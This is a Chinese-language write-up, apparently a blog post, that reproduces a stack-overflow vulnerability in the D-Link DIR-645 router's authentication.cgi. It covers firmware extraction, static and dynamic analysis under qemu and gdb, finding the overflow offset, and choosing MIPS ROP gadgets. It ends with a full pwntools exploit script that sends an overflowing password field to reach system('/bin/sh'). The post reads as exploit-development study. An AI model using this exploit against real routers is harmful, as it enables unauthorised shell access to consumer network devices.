复现的过程实际上更多学习的是漏洞挖掘的思路,站在挖掘者的角度去思考
漏洞介绍
从漏洞报告来看这个漏洞主要是因为authentication.cgi
造成的栈溢出导致的。
前置步骤
固件下载
1
| https://files.dlink.com.au/products/DIR-645/REV_A/Firmware/DIR645_FW103B11/
|
固件提取
1
| binwalk -Me DIR645A1_FW103B11.bin
|
漏洞分析
定位漏洞程序
1
| find . -name authentication.*
|
查看authentication.cgi
发现重定向的是cgibin
查看漏洞程序文件格式
MIPS架构的小端序
确定架构方便我们之后配合qemu模拟进行动态分析
代码分析
首先定位到cgibin
中的authentication_main
函数部分,对应的是authentication.cgi
因为漏洞是栈溢出,所以如果想先验证此漏洞需要传入能造成溢出的padding来找到溢出的地方,但是一般路由器的数据发包都会验证一些web环境变量,比如REQUEST_METHOD、CONTENT_TYPE、CONTENT_LENGTH等等。通过静态分析和动态调试一步一步确认需要哪些环境变量然后再传入参数来寻找漏洞点。
authenticationcgi_main
这个函数处理的是登陆时的请求包,先验证存在REQUEST_METHOD
、REMOTE_ADDR
、CONTENT_TYPE
、REQUEST_URI
、CONTENT_LENGTH
等环境变量以及参数uid
和password
。
其中REQUEST_METHOD对应的是POST方法,REMOTE_ADDR可以设置为127.0.0.1、CONTENT_TYPE为application/x-www-form-urlencoded、REQUEST_URI为**/authentication.cgi**(相对于htdocs/web/)、CONTENT_LENGTH为参数长度。
gdb调试
选择利用qemu用户态进行模拟配合pwntools的gdb.attach进行调试
chroot .指定qemu模拟的根目录,这样才能正确寻找到lib库
1 2 3 4 5
| p = process(f'chroot . ./qemu-mipsel-static -E REQUEST_METHOD=POST -E REMOTE_ADDR=127.0.0.1 -E CONTENT_TYPE=application/x-www-form-urlencoded -E REQUEST_URI=/authentication.cgi -E CONTENT_LENGTH={len(i)} -g 1234 /htdocs/web/authentication.cgi'.split( )) gdb.attach(('127.0.0.1',1234),''' b *0x0040BCE0 sleep(2) ''',exe='./htdocs/cgibin')
|
这里qemu进行调试指定的路径必须是**/htdocs/web/authentication.cgi**才能断下断点
发送数据包调试后发现此处的read读取的就是POST传入的uid和password。
当传入大量的数据后,就会导致栈溢出
计算偏移为0x42c
,之后寻找gadget触发system(‘/bin/sh’)。
寻找gadget
DIR645跟DIR815的漏洞一致,利用相同的gadget也能利用
利用mipsrop寻找gadget
1 2 3
| import mipsrop mipsrop = mipsrop.MIPSROPFinder() mipsrop.stackfinders()
|
可以选用0x159CC处的gadget,将sp+0x10赋值给a0当作参数,再寻找一个能控制调用system的函数
0x000158C8处的gadget符合条件将s0+1并跳转执行s5。
EXP利用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import * from pwn import u64,u32,p64,p32 from ctypes import * import base64 import sys context(os='linux', arch='mips', log_level='debug') context.terminal = ["tmux", "splitw", "-h"] debug = 1 if debug: i = 'A'*(0x42c - 18 + 4 + 96)
input_data = f"uid=A21G&password={i}" p = process(f'chroot . ./qemu-mipsel-static -E REQUEST_METHOD=POST -E REMOTE_ADDR=127.0.0.1 -E CONTENT_TYPE=application/x-www-form-urlencoded -E REQUEST_URI=/authentication.cgi -E CONTENT_LENGTH={len(i)} -g 1234 /htdocs/web/authentication.cgi'.split( )) gdb.attach(('127.0.0.1',1234),''' b *0x40B500 sleep(2) ''',exe='./htdocs/cgibin') elf = ELF('./htdocs/cgibin') else: p = remote('127.0.0.1', 10001) elf = ELF('./htdocs/cgibin')
s = lambda data: p.send(data) sa = lambda text, data: p.sendafter(text, data) sl = lambda data: p.sendline(data) sla = lambda text, data: p.sendlineafter(text, data) r = lambda num=4096: p.recv(num) rl = lambda text: p.recvuntil(text) pr = lambda num=4096: sys.stdout.write(p.recv(num).decode()) inter = lambda: p.interactive() l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00')) l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00')) uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00')) int16 = lambda data: int(data, 16) lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./lib/libuClibc-0.9.30.1.so') libc_base = 0x3ff6d050 - libc.symbols['strncpy'] lg('libc_base', libc_base)
system = libc_base + libc.symbols['system'] lg("system_addr",system)
gadget1 = 0x000158C8 gadget2 = 0x000159CC
jmp_fp = 0x0003DB94 + libc_base
cmd = b'/bin/sh'
padding = p32(system -1) padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += p32(libc_base+gadget2) padding += b'AAAA' padding += b'AAAA' padding += b'AAAA' padding += p32(libc_base+gadget1)
padding += b'A' * 0x10 padding += cmd
payload = b'uid=A21G&password=' + b'A'*(0x42c-18-36) + padding sl(payload)
inter()
|
漏洞逻辑不难,主要是要熟悉mips架构的函数调用规则以及寻找合适的gadget,多调试调试